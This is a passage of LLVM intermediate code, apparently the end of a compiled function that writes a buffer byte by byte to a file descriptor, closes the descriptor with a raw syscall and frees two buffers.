%119 = getelementptr inbounds i8, i8* %101, i64 %118
%120 = call i32 @write(i32 %109, i8* %119, i32 1)
%121 = add nuw nsw i64 %118, 1
%122 = icmp eq i64 %121, %114
br i1 %122, label %123, label %117
123: ; preds = %117, %111
%124 = load i32, i32* @__NR_close
%125 = call i32 (i32, ...) @syscall(i32 %124, i32 %109)
%126 = call i32 @free(i8* %42)
%127 = call i32 @free(i8* %101)
ret void
}